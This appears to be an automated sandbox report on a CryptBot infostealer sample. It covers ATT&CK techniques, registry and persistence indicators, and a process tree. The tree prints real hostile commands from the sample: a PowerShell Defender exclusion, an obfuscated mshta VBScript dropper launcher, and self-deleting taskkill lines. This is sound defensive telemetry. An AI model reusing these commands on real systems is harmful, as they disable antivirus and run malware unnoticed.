cryptbot | 5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

System Information Discovery

Processes:

8069061.scr6111346.scr6093810.scr

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8069061.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8069061.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6111346.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6111346.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6093810.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6093810.scr

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Mon20d3b8b752.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Mon20d3b8b752.exe

Loads dropped DLL 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.exeMon20762bc3f6.execmd.execmd.execmd.exeMon206b909958ed4.execmd.execmd.execmd.exeMon2083f8d8970a0b2d.exeMon20927aab1e5.exeMon20d3b8b752.execmd.exeMon209c830507d573.execmd.execmd.execmd.exeMon204014f13870f5e.exeMon203f01ac7e6.exesetup.tmpcmd.exe09xU.exELzmwAqmV.exeinst1.exeSoft1ww01.exe

pid	Process
2032	setup_x86_x64_install.exe
592	setup_installer.exe
592	setup_installer.exe
592	setup_installer.exe
592	setup_installer.exe
592	setup_installer.exe
592	setup_installer.exe
1768	setup_install.exe
1768	setup_install.exe
1768	setup_install.exe
1768	setup_install.exe
1768	setup_install.exe
1768	setup_install.exe
1768	setup_install.exe
1768	setup_install.exe
1740	cmd.exe
1572	Mon20762bc3f6.exe
1572	Mon20762bc3f6.exe
1104	cmd.exe
1104	cmd.exe
1852	cmd.exe
1336	cmd.exe
1336	cmd.exe
1776	Mon206b909958ed4.exe
1776	Mon206b909958ed4.exe
1592	cmd.exe
616	cmd.exe
616	cmd.exe
1876	cmd.exe
1184	Mon2083f8d8970a0b2d.exe
1184	Mon2083f8d8970a0b2d.exe
2032	Mon20927aab1e5.exe
2032	Mon20927aab1e5.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
932	cmd.exe
932	cmd.exe
1108	Mon209c830507d573.exe
1108	Mon209c830507d573.exe
768	cmd.exe
1044	cmd.exe
1044	cmd.exe
972	cmd.exe
1112	Mon204014f13870f5e.exe
1112	Mon204014f13870f5e.exe
1816	Mon203f01ac7e6.exe
1816	Mon203f01ac7e6.exe
1108	setup.tmp
2032
828	cmd.exe
2116	09xU.exE
2116	09xU.exE
2104	LzmwAqmV.exe
2104	LzmwAqmV.exe
652	Mon20d3b8b752.exe
2104	LzmwAqmV.exe
2104	LzmwAqmV.exe
2364	inst1.exe
2364	inst1.exe
2104	LzmwAqmV.exe
2104	LzmwAqmV.exe
2488	Soft1ww01.exe
2488	Soft1ww01.exe
2104	LzmwAqmV.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

5961731.scr

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5961731.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

8069061.scr6111346.scr6093810.scr

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8069061.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6111346.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6093810.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
32	ipinfo.io
13	ip-api.com
31	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

8069061.scr6111346.scr6093810.scr

pid	Process
1432	8069061.scr
1780	6111346.scr
2752	6093810.scr

Suspicious use of SetThreadContext 5 IoCs

Processes:

setup.tmp24180910789.exeGarbage Cleaner.exeservices64.exe

description	pid	Process	procid_target
PID 1108 set thread context of 1724	1108	setup.tmp	58
PID 2032 set thread context of 2052	2032		57
PID 832 set thread context of 2604	832	24180910789.exe	106
PID 2608 set thread context of 3836	2608	Garbage Cleaner.exe	138
PID 3352 set thread context of 3544	3352	services64.exe	154

Drops file in Program Files directory 3 IoCs

Processes:

setup.tmp

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-U1KMT.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
3064	652	WerFault.exe	48
2496	2488	WerFault.exe	73

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

aebvbafaebvbafMon204014f13870f5e.exeaebvbaf

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon204014f13870f5e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aebvbaf

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

12710792798.exe08018505623.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	12710792798.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	12710792798.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	08018505623.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	08018505623.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
3724	schtasks.exe
3828	schtasks.exe
2080	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

Processes:

timeout.exe

pid	Process
3584	timeout.exe

Kills process with taskkill 2 IoCs

evasion

Processes:

taskkill.exetaskkill.exe

pid	Process
2140	taskkill.exe
1336	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

services64.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	services64.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	services64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Mon204014f13870f5e.exeMon20d3b8b752.exedAvNEG81hOHrUOcXDNffZ0hA.exe

pid	Process
1112	Mon204014f13870f5e.exe
1112	Mon204014f13870f5e.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
652	Mon20d3b8b752.exe
1296
1296
1296
1296
1296
1296
1296
1296
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe
1296
2252	dAvNEG81hOHrUOcXDNffZ0hA.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

WerFault.exeWerFault.exe

pid	Process
1296
3064	WerFault.exe
2496	WerFault.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

Mon204014f13870f5e.exeaebvbafaebvbafaebvbaf

pid	Process
1112	Mon204014f13870f5e.exe
2168	aebvbaf
3608	aebvbaf
2920	aebvbaf

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

7959455.scr

pid	Process
2908	7959455.scr

Suspicious use of AdjustPrivilegeToken 51 IoCs

Processes:

Mon209b3da1556b9a317.exeMon206d48916f93c5.exeDownFlSetup110.exe4.exe3068818.scrpowershell.exeMon2083f8d8970a0b2d.exeMon209c830507d573.exe6998836.scrWerFault.exe4490332.scrtaskkill.exetaskkill.exeGarbage Cleaner.exeChrome 5.exe6099704.scr6111346.scrWerFault.exemopnns.exe8069061.scr6093810.scrGarbage Cleaner.exeservices64.exeexplorer.exeC36E.exe

description	pid	Process
Token: SeDebugPrivilege	692	Mon209b3da1556b9a317.exe
Token: SeDebugPrivilege	840	Mon206d48916f93c5.exe
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	2416	DownFlSetup110.exe
Token: SeDebugPrivilege	2564	4.exe
Token: SeDebugPrivilege	2228	3068818.scr
Token: SeDebugPrivilege	940	powershell.exe
Token: SeDebugPrivilege	1184	Mon2083f8d8970a0b2d.exe
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	1724	Mon209c830507d573.exe
Token: SeDebugPrivilege	1936	6998836.scr
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	3064	WerFault.exe
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	2812	4490332.scr
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	1336	taskkill.exe
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	2140	taskkill.exe
Token: SeDebugPrivilege	2608	Garbage Cleaner.exe
Token: SeDebugPrivilege	2636	Chrome 5.exe
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	3200	6099704.scr
Token: SeDebugPrivilege	1780	6111346.scr
Token: SeDebugPrivilege	2496	WerFault.exe
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	3456	mopnns.exe
Token: SeDebugPrivilege	1432	8069061.scr
Token: SeDebugPrivilege	2752	6093810.scr
Token: SeDebugPrivilege	3836	Garbage Cleaner.exe
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeDebugPrivilege	3352	services64.exe
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeLockMemoryPrivilege	3544	explorer.exe
Token: SeLockMemoryPrivilege	3544	explorer.exe
Token: SeDebugPrivilege	3628	C36E.exe
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296
Token: SeShutdownPrivilege	1296

Suspicious use of FindShellTrayWindow 11 IoCs

Processes:

setup.tmp

pid	Process
1296
1296
1296
1296
1296
1296
2188	setup.tmp
1296
1296
1296
1296

Suspicious use of SendNotifyMessage 4 IoCs

Processes:

pid	Process
1296
1296
1296
1296

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.exe

description	pid	Process	procid_target
PID 2032 wrote to memory of 592	2032	setup_x86_x64_install.exe	28
PID 2032 wrote to memory of 592	2032	setup_x86_x64_install.exe	28
PID 2032 wrote to memory of 592	2032	setup_x86_x64_install.exe	28
PID 2032 wrote to memory of 592	2032	setup_x86_x64_install.exe	28
PID 2032 wrote to memory of 592	2032	setup_x86_x64_install.exe	28
PID 2032 wrote to memory of 592	2032	setup_x86_x64_install.exe	28
PID 2032 wrote to memory of 592	2032	setup_x86_x64_install.exe	28
PID 592 wrote to memory of 1768	592	setup_installer.exe	29
PID 592 wrote to memory of 1768	592	setup_installer.exe	29
PID 592 wrote to memory of 1768	592	setup_installer.exe	29
PID 592 wrote to memory of 1768	592	setup_installer.exe	29
PID 592 wrote to memory of 1768	592	setup_installer.exe	29
PID 592 wrote to memory of 1768	592	setup_installer.exe	29
PID 592 wrote to memory of 1768	592	setup_installer.exe	29
PID 1768 wrote to memory of 1868	1768	setup_install.exe	31
PID 1768 wrote to memory of 1868	1768	setup_install.exe	31
PID 1768 wrote to memory of 1868	1768	setup_install.exe	31
PID 1768 wrote to memory of 1868	1768	setup_install.exe	31
PID 1768 wrote to memory of 1868	1768	setup_install.exe	31
PID 1768 wrote to memory of 1868	1768	setup_install.exe	31
PID 1768 wrote to memory of 1868	1768	setup_install.exe	31
PID 1768 wrote to memory of 1740	1768	setup_install.exe	32
PID 1768 wrote to memory of 1740	1768	setup_install.exe	32
PID 1768 wrote to memory of 1740	1768	setup_install.exe	32
PID 1768 wrote to memory of 1740	1768	setup_install.exe	32
PID 1768 wrote to memory of 1740	1768	setup_install.exe	32
PID 1768 wrote to memory of 1740	1768	setup_install.exe	32
PID 1768 wrote to memory of 1740	1768	setup_install.exe	32
PID 1768 wrote to memory of 1336	1768	setup_install.exe	33
PID 1768 wrote to memory of 1336	1768	setup_install.exe	33
PID 1768 wrote to memory of 1336	1768	setup_install.exe	33
PID 1768 wrote to memory of 1336	1768	setup_install.exe	33
PID 1768 wrote to memory of 1336	1768	setup_install.exe	33
PID 1768 wrote to memory of 1336	1768	setup_install.exe	33
PID 1768 wrote to memory of 1336	1768	setup_install.exe	33
PID 1768 wrote to memory of 616	1768	setup_install.exe	34
PID 1768 wrote to memory of 616	1768	setup_install.exe	34
PID 1768 wrote to memory of 616	1768	setup_install.exe	34
PID 1768 wrote to memory of 616	1768	setup_install.exe	34
PID 1768 wrote to memory of 616	1768	setup_install.exe	34
PID 1768 wrote to memory of 616	1768	setup_install.exe	34
PID 1768 wrote to memory of 616	1768	setup_install.exe	34
PID 1768 wrote to memory of 1044	1768	setup_install.exe	35
PID 1768 wrote to memory of 1044	1768	setup_install.exe	35
PID 1768 wrote to memory of 1044	1768	setup_install.exe	35
PID 1768 wrote to memory of 1044	1768	setup_install.exe	35
PID 1768 wrote to memory of 1044	1768	setup_install.exe	35
PID 1768 wrote to memory of 1044	1768	setup_install.exe	35
PID 1768 wrote to memory of 1044	1768	setup_install.exe	35
PID 1768 wrote to memory of 1852	1768	setup_install.exe	36
PID 1768 wrote to memory of 1852	1768	setup_install.exe	36
PID 1768 wrote to memory of 1852	1768	setup_install.exe	36
PID 1768 wrote to memory of 1852	1768	setup_install.exe	36
PID 1768 wrote to memory of 1852	1768	setup_install.exe	36
PID 1768 wrote to memory of 1852	1768	setup_install.exe	36
PID 1768 wrote to memory of 1852	1768	setup_install.exe	36
PID 1768 wrote to memory of 768	1768	setup_install.exe	37
PID 1768 wrote to memory of 768	1768	setup_install.exe	37
PID 1768 wrote to memory of 768	1768	setup_install.exe	37
PID 1768 wrote to memory of 768	1768	setup_install.exe	37
PID 1768 wrote to memory of 768	1768	setup_install.exe	37
PID 1768 wrote to memory of 768	1768	setup_install.exe	37
PID 1768 wrote to memory of 768	1768	setup_install.exe	37
PID 1768 wrote to memory of 932	1768	setup_install.exe	38

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:592
- - C:\Users\Admin\AppData\Local\Temp\7zS05219616\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS05219616\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
      4⤵
      Loads dropped DLL
      PID:1740
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon20762bc3f6.exe
        
        Mon20762bc3f6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1336
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon206b909958ed4.exe
        
        Mon206b909958ed4.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1776
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\24180910789.exe"
        6⤵
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\24180910789.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\24180910789.exe"
        7⤵
        Suspicious use of SetThreadContext
        
        PID:832
        
        C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\24180910789.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\24180910789.exe"
        8⤵
        
        PID:2604
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\12710792798.exe" /mix
        6⤵
        
        PID:2868
        
        C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\12710792798.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\12710792798.exe" /mix
        7⤵
        Checks processor information in registry
        
        PID:2428
        
        C:\Users\Admin\AppData\Roaming\wowsfree\mopnns.exe
        
        mopnns.exe
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3456
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\08018505623.exe" /mix
        6⤵
        
        PID:2608
        
        C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\08018505623.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\08018505623.exe" /mix
        7⤵
        Checks processor information in registry
        
        PID:2344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\eEInnLcVG & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{gBIx-olzWA-Adir-EpvUQ}\08018505623.exe"
        8⤵
        
        PID:3516
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 4
        9⤵
        Delays execution with timeout.exe
        
        PID:3584
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        6⤵
        
        PID:2196
        
        C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe
        
        "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        7⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:2608
        
        C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe
        
        "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3836
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Mon206b909958ed4.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon206b909958ed4.exe" & exit
        6⤵
        
        PID:1556
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Mon206b909958ed4.exe" /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
      4⤵
      Loads dropped DLL
      PID:616
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon20927aab1e5.exe
        
        Mon20927aab1e5.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2032
      - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:2052
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
      4⤵
      Loads dropped DLL
      PID:1044
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon204014f13870f5e.exe
        
        Mon204014f13870f5e.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1112
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
      4⤵
      Loads dropped DLL
      PID:1852
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon203f01ac7e6.exe
        
        Mon203f01ac7e6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1816
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon203f01ac7e6.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:1188
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon203f01ac7e6.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon203f01ac7e6.exe") do taskkill /F -Im "%~NxU"
        7⤵
        Loads dropped DLL
        
        PID:828
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2116
        
